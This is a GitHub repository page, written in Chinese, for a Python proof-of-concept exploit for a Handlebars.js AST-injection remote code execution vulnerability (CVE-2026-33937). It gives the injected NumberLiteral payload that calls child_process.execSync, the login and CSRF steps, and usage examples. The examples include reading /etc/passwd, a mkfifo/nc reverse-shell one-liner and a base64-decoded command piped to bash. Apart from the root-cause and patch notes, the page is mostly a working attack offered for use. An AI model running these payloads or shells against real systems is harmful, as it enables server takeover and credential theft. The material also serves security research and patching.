c0gnit00/CVE-2026-33937
GitHub: c0gnit00/CVE-2026-33937
针对 Handlebars.js 4.0.0–4.7.8 AST 注入远程代码执行漏洞(CVE-2026-33937)的 Python 概念验证与自动化利用脚本。
Stars: 0 | Forks: 0
# CVE-2026-33937 — Handlebars.js AST 注入 RCE
Handlebars.js 4.0.0 至 4.7.8 版本受到影响。CVSS 评分:9.8 严重。
## 概述
CVE-2026-33937 是 Handlebars.js 中的一个类型混淆漏洞。`Handlebars.compile()` 函数同时接受模板字符串和预解析的 AST 对象作为输入。当攻击者传入一个精心构造的 AST 对象时,编译器的 `NumberLiteral` 访问器会直接将该节点的 `value` 字段原样插入到生成的 JavaScript 函数体中,而没有任何过滤或净化。对结果调用 `render()` 会在 Node.js 进程内执行攻击者控制的代码。
## 用法
```
python3 exploit.py --url --username --password --command
```
**参数**
- `--url` — 目标的 Base URL,例如 `http://hello.veer/`(必填)
- `--username` — 登录电子邮箱地址(必填)
- `--password` — 登录密码(必填)
- `--command` — 要执行的 OS 命令,默认为 `id`(可选)
**示例**
```
# 验证 RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# 读取文件
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# 获取 reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo | base64 -d | bash'
```
## 工作原理
### 第 1 步 — 身份验证
脚本在执行漏洞利用之前会先进行完整的登录。它首先向 `/login` 发送一个 GET 请求,从表单中提取隐藏的 `_csrf` token,然后将该 token 连同提供的电子邮件和密码作为表单编码的 POST 请求提交给 `/login`。成功后,服务器会返回一个 302 重定向到 `/dashboard`,并设置 `dz.sid` session cookie,用于所有后续请求。
在每次 POST 请求之前,脚本都会自动获取一个新的 CSRF token,因为应用程序的 CSRF middleware 要求每次修改操作都必须带有该 token。
### 第 2 步 — 注入点
应用程序暴露了接受 `Content-Type: application/json` 的 `POST /character` 接口。此路由创建一个新的 D&D 角色,并且在提供 `campaign_id` 时,会直接将 `campaign_message` 字段传递给服务器端的 `Handlebars.compile()`:
```
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
```
当请求体为 JSON 时,`campaign_message` 可以是嵌套对象(即 AST)而不是字符串,从而绕过表单层的任何字符串验证。`campaign_id` 字段会导致服务器将渲染结果作为活动日志消息存储,之后可以通过 `GET /campaign/1` 读取——从而为攻击者提供了带外(out-of-band)的命令输出。
### 第 3 步 — AST Payload
该漏洞利用结合使用了 NumberLiteral 和 `lookup` helper。
正常编译 `{{lookup this 1}}` 会产生:
```
env.helpers.lookup(this, 1, {options})
```
注入的 `NumberLiteral.value` 将 `1` 替换为:
```
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
```
生成的 JavaScript 变为:
```
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
//
```
当调用 `render()` 时,`execSync()` 会触发,其 stdout 作为表达式的值返回,并作为活动消息存储。
命令在内部被包装为 `/bin/sh -c 'cmd 2>&1'`,以便带有空格、管道和重定向的命令能够正常工作,并且 stderr 会与 stdout 一起被捕获。
### 第 4 步 — 输出提取
脚本在发送 payload 之前会记录当前的活动消息数量。POST 之后,它会再次请求 `/campaign/1`,并通过截取 `messages[before_count:]` 来隔离出新增的条目。这种方法能够正确处理之前已经运行过相同命令的情况,因为如果使用基于集合的比较,会过滤掉相同的输出,从而遗漏新的结果。
## 技术根本原因
在 Handlebars.js 的 `javascript-compiler.js` 中,存在漏洞的代码是:
```
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
```
版本 4.7.9 在 `compile()` 入口点添加了类型检查,在到达代码生成器之前就会拒绝任何非字符串输入:
```
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
```
## 参考资料
- dinhvaren 发布的 CVE-2026-33937 PoC:https://github.com/dinhvaren/cve-2026-33937
- Handlebars.js:https://handlebarsjs.com
- Handlebars GitHub:https://github.com/handlebars-lang/handlebars.js
## 免责声明
本仓库仅用于安全研究和教育目的。请仅对您拥有或获得明确书面授权进行测试的系统使用此漏洞利用程序。
标签:CISA项目, Homebrew安装, MITM代理, Python, 无后门, 编程工具, 远程代码执行, 逆向工具